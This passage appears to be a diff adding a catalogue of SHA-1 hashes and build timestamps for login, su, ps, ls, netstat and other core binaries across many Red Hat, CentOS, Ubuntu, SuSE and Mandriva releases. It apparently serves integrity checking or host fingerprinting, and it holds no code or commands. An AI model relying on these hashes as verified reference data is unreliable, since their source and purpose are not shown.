+645ECF475315BD324A7F2C314EFEADB547DC2F3C Sun Apr 8 15:17:31 2001 /bin/netstat [RedHat 7.1] +5449579EEE3473AA5B0DA5554D279059F2268F98 Wed Feb 28 07:01:03 2001 /bin/sh [RedHat 7.1] + +C3122D6F939443449F93D6A640B196C623493F94 Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2 x86_64] +452CFD0321768D87F4AD557CB047F112A16AC46C Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.2 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.2 x86_64] +F5B0C6F62623E3E5669EC746ADD3990D74C8F74A Fri Nov 30 12:45:03 2007 /bin/su [RedHat Enterprise 5.2 x86_64] +80802A91DD8C25C9AD4885E2B7B23B37384905E3 Fri Nov 30 12:45:06 2007 /bin/rm [RedHat Enterprise 5.2 x86_64] +347E7292D10D36549F33E9BFB60BDC80569B862B Fri Nov 30 12:45:06 2007 /bin/ls [RedHat Enterprise 5.2 x86_64] +47781846A2C98B0FB155DDFFCA0163390C4B727E Wed Jan 2 08:53:10 2008 /usr/bin/w [RedHat Enterprise 5.2 x86_64] +60F4BE05E1B03A5A4652E6D4AAD91F957E033D13 Wed Jan 2 08:53:10 2008 /bin/ps [RedHat Enterprise 5.2 x86_64] +8FD77641DAE4CEBA449E9F014F610EFAD337489D Thu Jan 17 17:47:07 2008 /sbin/modinfo [RedHat Enterprise 5.2 x86_64] +93E0E491E71BD00808B5259B3965FFB8AA934320 Mon Mar 3 18:49:13 2008 /bin/login [RedHat Enterprise 5.2 x86_64] +72479C51E0E365224524BBEAB64B5458C44FC7BA Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.2 x86_64] +88520D3C5DCCE84687FAE71875F412F96C742BCD Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.2 x86_64] +28829FEAA4A26003ABFBF555CDFCAF4D81093939 Fri Feb 1 11:44:32 2008 /bin/sh [RedHat Enterprise 5.2 x86_64] + +49A97EA365AE611C9B26C71489840FC79B9C011A Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.3 x86_64] +93DF01137D40B4821D8A034D70DEA965E222EBD6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.3 x86_64] +C8ECD07DAD5E062B0477D146647AB60DBC959876 Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.3 x86_64] +A09C8C2104DC5D65E5F181C1B9C3E963EA447DB4 Mon Jul 7 08:32:55 2008 /usr/bin/find [RedHat Enterprise 5.3 x86_64] +AA4B04C5C80870899C54CA23E354A32A1029B5EE Thu Oct 30 19:17:06 2008 /bin/su [RedHat Enterprise 5.3 x86_64] +AD3B0F96472F3A57BED8FD8499354C2D3F646FE4 Thu Oct 30 19:17:09 2008 /bin/rm [RedHat Enterprise 5.3 x86_64] +8BDF4C32CF95B53A5EE4E8A86EB4966CBB027478 Thu Oct 30 19:17:09 2008 /bin/ls [RedHat Enterprise 5.3 x86_64] +C93527D9A3B91336E343391D7A7CDBBA83EBB385 Tue Nov 11 17:23:44 2008 /sbin/modinfo [RedHat Enterprise 5.3 x86_64] +DD32C52189AAADE5A3E223C23406AE9C90425829 Tue Nov 25 23:15:26 2008 /bin/login [RedHat Enterprise 5.3 x86_64] +6292A3B64D955830D7CF7B55B82D7217AA323FAE Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.3 x86_64] +7CC21A0E1B718C5AB0BA48D1C10C27BA5226088F Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.3 x86_64] +C7EE4FE28EBA86EAB110931364562DD66E5E2361 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.3 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.4 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.4 x86_64] +AAE3A92B32CC07DE9F8E7D9F3E368949B5CFBFC2 Thu Mar 9 09:36:07 2006 /sbin/modinfo [CentOS 4.4 x86_64] +4158611648BE1F5A91F27085044D3B28F10A6405 Tue Aug 15 01:36:17 2006 /bin/login [CentOS 4.4 x86_64] +DD7B40C8A6EE1E6D536F21A985CC34AC8268D725 Tue Aug 15 07:29:40 2006 /sbin/arp [CentOS 4.4 x86_64] +99A2FAF271BB6D0FE3CE9FEEA8BE72217DED0A74 Tue Aug 15 07:29:38 2006 /bin/netstat [CentOS 4.4 x86_64] +0F5264D4DCDE7418DC034A78A6A2409D8137EDA3 Tue Aug 15 19:57:26 2006 /bin/su [CentOS 4.4 x86_64] +8234E958F74314691530DDD140BAB90F0C94B1AA Tue Aug 15 19:57:43 2006 /bin/rm [CentOS 4.4 x86_64] +461DC4BE88C331A686C6EB925AB28B3AEB236D8D Tue Aug 15 19:57:43 2006 /bin/ls [CentOS 4.4 x86_64] +C10CE3A799B5189E002DF690F0A0DF801D417586 Wed Aug 23 18:24:29 2006 /usr/bin/w [CentOS 4.4 x86_64] +0FDAEFFE8E5F6610119FFCBE08C91E1FE05D14EC Wed Aug 23 18:24:30 2006 /bin/ps [CentOS 4.4 x86_64] +B0854108570857DCFF5AECC3F493E80A648C201B Wed Aug 23 18:41:04 2006 /usr/bin/find [CentOS 4.4 x86_64] +FEBE850391A2308E9F5AF41BF4A4A7A36DF6E476 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.4 x86_64] + +F2870B47240377CE4F50E2B6F62DD76103BADE01 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.0 x86_64] +CD0EEC9BD4413396EE4A7AB714E2867C74348563 Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.0 x86_64] +797C4D210291F123AC22B74EB01DB8872989B0C4 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.0 x86_64] +D3F4E67DDC228F8693F747053D267CFFB6664479 Wed Mar 14 20:40:45 2007 /sbin/modinfo [CentOS 5.0 x86_64] +2079A5ABE78F8D83C59CA6B02F00AAA3E0316616 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.0 x86_64] +642FE8C4B885FF50C0B3C6CE09B4283766FB4B52 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.0 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.0 x86_64] +31C8D8F011F4BD5A670E6E83F979B9D43859CA6F Thu Mar 15 02:30:33 2007 /bin/login [CentOS 5.0 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.0 x86_64] +C41FA4A49A588194AF6DD7802D4C036D1795CF75 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.0 x86_64] +AD3B16C1677F197B6A9B77C632E42995114A6FF6 Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.0 x86_64] +11FFBA6B432B2AEAB2F6FCD335AD4E4CD9D41BD8 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.0 x86_64] + +2215145018A8D11449B11F6733E7841A02E8BD95 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.8] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.8] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.8] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.8] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.8] +B0F430A1F68BE32C7A2335D723ED78A44D4C409F Mon Jun 1 18:00:38 2009 /sbin/modinfo [CentOS 4.8] +998FF4BCBB5F6AB9ABC41DD6E9F72731D04DE753 Mon Jun 1 18:14:42 2009 /bin/login [CentOS 4.8] +03E6617F47EDE1BAE882AEC72ACE46978723155C Mon Jun 1 18:37:46 2009 /usr/bin/w [CentOS 4.8] +C17521C8A507ECB291E265EC5A0059C46E242130 Mon Jun 1 18:37:46 2009 /bin/ps [CentOS 4.8] +51828647DA502400ED7D2CBC46FE934D3D5D7A39 Thu Jul 2 16:53:03 2009 /bin/su [CentOS 4.8] +CFCD06E219F3DA60A728B4ED70F845F7C6ABE0FA Thu Jul 2 16:53:07 2009 /bin/rm [CentOS 4.8] +85207087AEAFE67E94FB71330F52F0938BA0488C Thu Jul 2 16:53:07 2009 /bin/ls [CentOS 4.8] +8E9768481AB1B5550B2EA2AD33C4158547B65053 Mon Jun 1 14:47:46 2009 /bin/sh [CentOS 4.8] + +2408040D25263B9C889B9D654FCABEC2D99395F2 Mon Jun 25 14:39:30 2001 /usr/bin/find [RedHat 7.2] +7A10D2D6DF14DACFD891113044B8BABE56B129FF Mon Jul 23 16:23:45 2001 /bin/su [RedHat 7.2] +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.2] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.2] +5BEC0AF53A8F8ABF58D07467764598E318D45F4E Tue Jul 31 15:56:52 2001 /sbin/arp [RedHat 7.2] +E55548F9F26E7E7CD9C2CE67D6D486FA8D7966D9 Tue Jul 31 15:56:53 2001 /bin/netstat [RedHat 7.2] +D3BF295852A0F388634F78AF61BD9C67C673F01D Thu Aug 9 13:01:20 2001 /bin/rm [RedHat 7.2] +6DFE962EE3ECCE023DA0D56029E045DB2899DF92 Thu Aug 9 13:01:19 2001 /bin/ls [RedHat 7.2] +35C239D270979E4B8647E897AA5A2591E076E102 Sun Aug 26 22:51:37 2001 /bin/login [RedHat 7.2] +0B1E24D258395F4D7FAA9B52F8B6072311C3A6DB Tue Aug 28 03:16:31 2001 /usr/bin/w [RedHat 7.2] +F1677FF001E09138C36D6780321927EA2B7BC56E Tue Aug 28 03:16:31 2001 /bin/ps [RedHat 7.2] +FC84AF0E9B871629E1EF4839553D76DD613D84FD Wed Aug 29 18:21:15 2001 /sbin/modinfo [RedHat 7.2] +665AC0622346D4D37190C33BC56D5596C4BF4A69 Wed Aug 29 21:20:09 2001 /usr/sbin/xinetd [RedHat 7.2] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.2] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.2] +363096C16F4ABB9E0A1B9FD1EC8459886887BB47 Mon Jul 9 12:56:21 2001 /bin/sh [RedHat 7.2] + +5A43FF6F9D2A448EC8F035E467CAE671207C0341 Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.0 x86_64] +511AF62BA177BA550628BB5976304344D89A67EF Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.0 x86_64] +B5C44D8A431A835AD93D17964ED344DF81E480B2 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.0 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.0 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.0 x86_64] +DAE80262E7C46250506C473A819BC09B84F4BDB5 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.0 x86_64] +244701E27101F48239446772DA36F65DE6B76ED0 Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.0 x86_64] +92D15495317BF5655598633D73C73974830B756E Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.0 x86_64] +8B3D89866034C5A091BEDD2D10228A2F1CBD24A1 Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.0 x86_64] +F1AC9091C6F3DAFFE28F8A973F046E0575E081DD Thu Jan 11 16:10:10 2007 /bin/login [RedHat Enterprise 5.0 x86_64] +AE66CABC610FB7165E1201D88028B75BAF4363DB Wed Jan 17 16:01:05 2007 /sbin/modinfo [RedHat Enterprise 5.0 x86_64] +9FE33ED5E25B28EA69914C273FB90B0ACEEBB819 Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.0 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.5 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.5 x86_64] +8F9BC95B7045E9BDC921ED140B4AC54D1A94C75A Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.5 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.5 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.5 x86_64] +B41AB09255BFD6FACF44461819655DE2A7639F30 Thu May 3 02:08:17 2007 /usr/bin/w [CentOS 4.5 x86_64] +8ADA093992F1C0C9FDA5F42E4C9D7825A37758FD Thu May 3 02:08:17 2007 /bin/ps [CentOS 4.5 x86_64] +0FDA981DB1AF55C0E5D3F7941796408DA6E333A4 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.5 x86_64] +2C9027CE09313BBD50775AF6D4AD8D0A4ADFFB9E Thu May 3 23:58:56 2007 /bin/login [CentOS 4.5 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sat May 5 08:13:31 2007 /bin/su [CentOS 4.5 x86_64] +B27D2FF8C6653F33053C379EC76BDBC8F866B982 Sat May 5 08:13:38 2007 /bin/rm [CentOS 4.5 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sat May 5 08:13:39 2007 /bin/ls [CentOS 4.5 x86_64] +B38673A6220E79D5FE965C810A17AD29D7F26F76 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.5 x86_64] + +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.3] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.3] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.3] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.3] +34E503B559852AB8908502B4658AD2AE5C1F3F6C Tue Feb 26 17:50:38 2002 /usr/bin/find [RedHat 7.3] +458DB732C975C4C55976FE4173FCE1CE926F9CB4 Mon Mar 25 01:23:18 2002 /bin/rm [RedHat 7.3] +497E2DCC29D13AE718FBFB7CD4F88027138E012A Mon Mar 25 01:23:18 2002 /bin/ls [RedHat 7.3] +0A74FA4B1DC40EE29284F55798B56CA67A9A2C3F Mon Apr 1 23:26:23 2002 /bin/login [RedHat 7.3] +D2141246EA5129E828CB0EFF1B8A9ADD4EE2F33A Thu Apr 4 22:30:50 2002 /usr/sbin/xinetd [RedHat 7.3] +7CFD480FE12092653CD6DC3DE071B9BDC24564A6 Mon Apr 8 16:02:11 2002 /bin/su [RedHat 7.3] +2C904E2EB78DD066F8AE950CEDFAF0B4CB31C0F3 Fri Apr 12 04:26:19 2002 /sbin/arp [RedHat 7.3] +413BDA08012BA9B388586EC5D4E2B48E496E0203 Fri Apr 12 04:26:19 2002 /bin/netstat [RedHat 7.3] +4EC3FD6F844BB476CBB0174D8EFFAFDB14BFD1A3 Mon Apr 15 20:59:55 2002 /usr/bin/w [RedHat 7.3] +FFDAF0D89E62825C19E0D71DA4B8C9DCBC226C24 Mon Apr 15 20:59:55 2002 /bin/ps [RedHat 7.3] +5D02FB86E5320EFCC30C2C2EAC7062496BA3F197 Tue Apr 16 22:46:34 2002 /sbin/modinfo [RedHat 7.3] +F70539BB32961F3D7DBA42A9C51442C1218A9100 Fri Apr 12 16:09:54 2002 /bin/sh [RedHat 7.3] + +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.6 x86_64] +0C1514978EA9DC725D6FBCECEF8540B4BCBE4E2F Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.6 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.6 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.6 x86_64] +E1AD52DBAB5CAACB9AFC37C6404E46136530A369 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.6 x86_64] +8465AA99D8200C005F9537EC9A53C9ED3661C7C9 Sat Nov 17 01:23:25 2007 /usr/bin/w [CentOS 4.6 x86_64] +828F2A3C7C24BB34BD7A5BAA762BF8885ACEA937 Sat Nov 17 01:23:25 2007 /bin/ps [CentOS 4.6 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.6 x86_64] +FE1539C906FED72FBD254515AFE6ED6F2EDB1A01 Sun Nov 18 11:40:26 2007 /bin/login [CentOS 4.6 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sun Nov 18 13:17:10 2007 /bin/su [CentOS 4.6 x86_64] +BFB76BACE0B2DFD07149A2A41A9592B42CB1FF34 Sun Nov 18 13:17:17 2007 /bin/rm [CentOS 4.6 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sun Nov 18 13:17:18 2007 /bin/ls [CentOS 4.6 x86_64] +662C012383154E1AFA593F30BC6247730BC862D2 Sat Nov 17 00:31:58 2007 /bin/sh [CentOS 4.6 x86_64] + +E6A45BDD6740C39C684B22519B3169C0C6582A7F Mon Oct 16 11:30:16 2006 /usr/sbin/arp [Ubuntu 7.04] +1520B9B49943CFCA1D018BF20645DAB1F8D682A0 Mon Oct 16 11:30:16 2006 /bin/netstat [Ubuntu 7.04] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Fri Nov 17 12:22:27 2006 /usr/sbin/update-inetd [Ubuntu 7.04] +AFFC4C4C17C71FE7C4223A1B22B6FF29C49C637C Tue Dec 19 20:35:14 2006 /bin/su [Ubuntu 7.04] +6F75D538623A8753E481E52B91A08F5CF80AA4BB Tue Dec 19 20:35:14 2006 /bin/login [Ubuntu 7.04] +F8D6BA0BB29814C348C1C04F356D3FF65E17CF8F Mon Mar 5 06:25:01 2007 /bin/rm [Ubuntu 7.04] +9CEF16D6FA0FD887F9FC66CB76D6A7B2B1CAEBE3 Mon Mar 5 06:25:01 2007 /bin/ls [Ubuntu 7.04] +F6EB766C9FA659FFF074698E5213ADE1F89919C6 Mon Mar 5 06:52:43 2007 /usr/bin/find [Ubuntu 7.04] +44CEC1D5CD818551F02B3FDA837F4325DC22C8B0 Wed Mar 7 21:42:02 2007 /bin/ps [Ubuntu 7.04] +C7F429B7415CF150E2BDC331CF99AB6A0B0FD696 Tue Apr 3 14:03:45 2007 /sbin/modinfo [Ubuntu 7.04] +F310F475148B9CE2B59F9DF25A34830506B1F71B Mon Mar 5 06:00:01 2007 /bin/sh [Ubuntu 7.04] +FEE66F19580408C653A50615152A8DD25764102C Wed Mar 7 21:42:02 2007 /usr/bin/w [Ubuntu 7.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 7.04] + +35822096360B54928DF6692D6221D470045CF82E Sat Mar 19 19:18:39 2005 /usr/bin/w [SuSE 9.3] +B3585C5ACE324ECD9C43478307CFCC88FB09E5DC Sat Mar 19 19:18:23 2005 /usr/bin/telnet [SuSE 9.3] +8ED38BF4D2BC647B9FCE0FD593206EBAE9E80067 Sat Mar 19 19:18:39 2005 /bin/ps [SuSE 9.3] +B600A8102D0734CC21D49D25E699238C1F6A4B03 Sat Mar 19 19:25:18 2005 /usr/sbin/in.tftpd [SuSE 9.3] +CEC52C68569F8C7620E7F192A2A0D0C31ABAFDE5 Sat Mar 19 19:54:27 2005 /sbin/arp [SuSE 9.3] +2032E28407C8C69CC248B002F9E6162C8E0D6FBB Sat Mar 19 19:54:27 2005 /bin/netstat [SuSE 9.3] +1603A1E2CF15C48792394504651CD4340B6F00D9 Sat Mar 19 20:06:52 2005 /usr/sbin/rinetd [SuSE 9.3] +5ECA2F14A55620EBF07ACB8F76A89579D5B3957A Sat Mar 19 20:18:33 2005 /usr/bin/find [SuSE 9.3] +A2CCABCEE88C988126357AAA19CD7F9576AFD4E8 Sat Mar 19 20:18:34 2005 /usr/sbin/xinetd [SuSE 9.3] +5BC798D6A91A2952180308C40483025259A9FF13 Sat Mar 19 20:28:24 2005 /bin/su [SuSE 9.3] +50EEF8B61BBD1E57B48BD07E52FCA242DFC08BDF Sat Mar 19 20:28:25 2005 /bin/rm [SuSE 9.3] +3F8D4117BA71BF7A99BBDE908F02D8BEDD6B5263 Sat Mar 19 20:28:24 2005 /bin/ls [SuSE 9.3] +CF5CB062D0CC3DF29BA35F77A73CBB74D3D9CB69 Sat Mar 19 20:57:54 2005 /usr/sbin/vsftpd [SuSE 9.3] +433828B77F4AA6DDB9486F1853DBF68ACED34C0C Sat Mar 19 21:12:55 2005 /bin/login [SuSE 9.3] +5246BC431A6B433BC96D21F7C2F8E474041095D6 Tue Mar 22 19:05:15 2005 /sbin/modinfo [SuSE 9.3] +F7C5B7BB1A18B7636E8BAD070DAB7FB744BECB26 Sat Mar 19 19:17:58 2005 /bin/sh [SuSE 9.3] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Sat Mar 19 20:18:34 2005 /usr/sbin/rcxinetd [SuSE 9.3] +E39DD80CC9F1123773308B1DDB290D46DF62DD96 Sat Mar 19 20:06:52 2005 /usr/sbin/rcrinetd [SuSE 9.3] + +EC952D71BC77FBF74F6C3D0E67AD2D6D81482949 Tue Jun 8 02:28:16 2004 /sbin/arp [Mandriva 10.2] +1827CAA00B2F78E3C2EBE339C0C852EC8594AD20 Tue Jun 8 02:28:16 2004 /bin/netstat [Mandriva 10.2] +9E7E23A84934486FF2BFDF8285682C0ED7468D4A Wed Jan 26 11:22:28 2005 /usr/bin/w [Mandriva 10.2] +050F7B8319F002E8EFDFA054591E0BA4A72C3ED8 Wed Jan 26 11:22:28 2005 /bin/ps [Mandriva 10.2] +BEA641D6FFCBF6F77C9E5FF650D5D9341A39637C Thu Feb 10 17:52:10 2005 /bin/su [Mandriva 10.2] +866B4153FF7FA41A339780CC4DA453CFD6C77557 Thu Feb 10 17:52:10 2005 /bin/rm [Mandriva 10.2] +7C46F22FE4618357DC1C7D38EE0FC42D6D0C13B5 Thu Feb 10 17:52:10 2005 /bin/ls [Mandriva 10.2] +7823D377C6A64A923B039F2C4811F314BDBE45DB Fri Mar 4 16:38:20 2005 /bin/login [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /bin/find [Mandriva 10.2] +FDC4F99846B586AEDA5FDB82E1C2E25838DEADB4 Tue Mar 22 10:10:34 2005 /usr/bin/login [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/proftpd [Mandriva 10.2] +5EF59AD2139FB10C80314E025F939E26705C12B3 Wed Apr 6 17:49:01 2005 /usr/bin/telnet [Mandriva 10.2] +8A31C5AE40CDF50ED5CAD963A91530392137B408 Fri Jan 7 10:15:54 2005 /bin/sh [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /usr/bin/find [Mandriva 10.2] +F6602896DA1A9E7E0A3907DAC715376FA378EBC9 Fri Feb 11 16:19:17 2005 /sbin/modinfo [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.ftpd [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.proftpd [Mandriva 10.2] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.6 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.6 x86_64] +BF12EDBD1FE444F0D909BAC3BE2D8DF34B6ED0D2 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.6 x86_64] +E40F4E01F87D1AEB8664F7FF079EFD25B17F2C23 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.6 x86_64] +D2E2C924BDCBD2FF8B2C38913C83431059E02C83 Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.6 x86_64] +F078C9FE63B5AD0420394C4A6CE8EA5B152E9E83 Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.6 x86_64] +4A28415BB418160142354685CCE696309A58B9ED Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.6 x86_64] +42DE8290DCF70E0B935FCFE03B6667B3DD5A828A Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.6 x86_64] +E45DFC3E7B023E0999D8365AFB78F75C06CF27A6 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.6 x86_64] +A093FB02C48F202810B0DE7D592ABF5E2E56DE36 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.6 x86_64] +194BECC1C46A6283910EA8F919C841EE82EEA499 Wed Sep 22 11:28:02 2010 /bin/login [RedHat Enterprise 5.6 x86_64] +9A57ADBB6EDA11B18EB9B25FA8D3097FB8C28D80 Thu Sep 30 21:33:04 2010 /sbin/modinfo [RedHat Enterprise 5.6 x86_64] +3D18E4FA7EF0922C5DA17DF2ADBFB12250347B1B Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.6 x86_64] + +8B480D9FFB0BD2C2573E213EA1790AAC4BA059A0 Wed Nov 25 12:07:23 2009 /sbin/modinfo [RedHat Enterprise 4.0 x86_64] +C87A3739D48602E5855AE05A55BD95B5E3D54F34 Tue Mar 9 13:29:56 2010 /usr/bin/telnet [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /bin/find [RedHat Enterprise 4.0 x86_64] +87425F8FF1A4F254FD19E8D12E8A999C54D5622C Fri Oct 1 11:04:55 2010 /bin/su [RedHat Enterprise 4.0 x86_64] +E37585ECD85CA5F0028A9056E816E2977BC4D987 Fri Oct 1 11:04:56 2010 /bin/rm [RedHat Enterprise 4.0 x86_64] +357837AA39950233D939ACC0609830560679E198 Fri Oct 1 11:04:57 2010 /bin/ls [RedHat Enterprise 4.0 x86_64] +F9C905D93BADAE748595F32F49C4259D3E6BC3B0 Tue Oct 5 22:36:11 2010 /sbin/arp [RedHat Enterprise 4.0 x86_64] +30EF64317572148588F49B8BECC497FB2F66F37C Tue Oct 5 22:36:11 2010 /bin/netstat [RedHat Enterprise 4.0 x86_64] +6F7CCB194C2591B599CB81D493AC4F8A505EBE50 Tue Oct 5 22:42:00 2010 /usr/bin/w [RedHat Enterprise 4.0 x86_64] +B7D4BE14CFC74415DE95227B5C9AFE748A4089C7 Tue Oct 5 22:42:00 2010 /bin/ps [RedHat Enterprise 4.0 x86_64] +855707CF636CC488634307EA01F398E702C62638 Mon Oct 11 07:13:06 2010 /bin/login [RedHat Enterprise 4.0 x86_64] +55DF4B383FA794C79F77D7D049795D87CA1672A9 Tue Jun 22 15:15:21 2010 /bin/sh [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /usr/bin/find [RedHat Enterprise 4.0 x86_64] + +C2A3A24677920F8C53ABC713A61AF1652DB6831A Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.1] +505FAA9ABED9928A53A5621424A06B1006565C80 Mon Aug 7 11:18:31 2006 /sbin/arp [RedHat 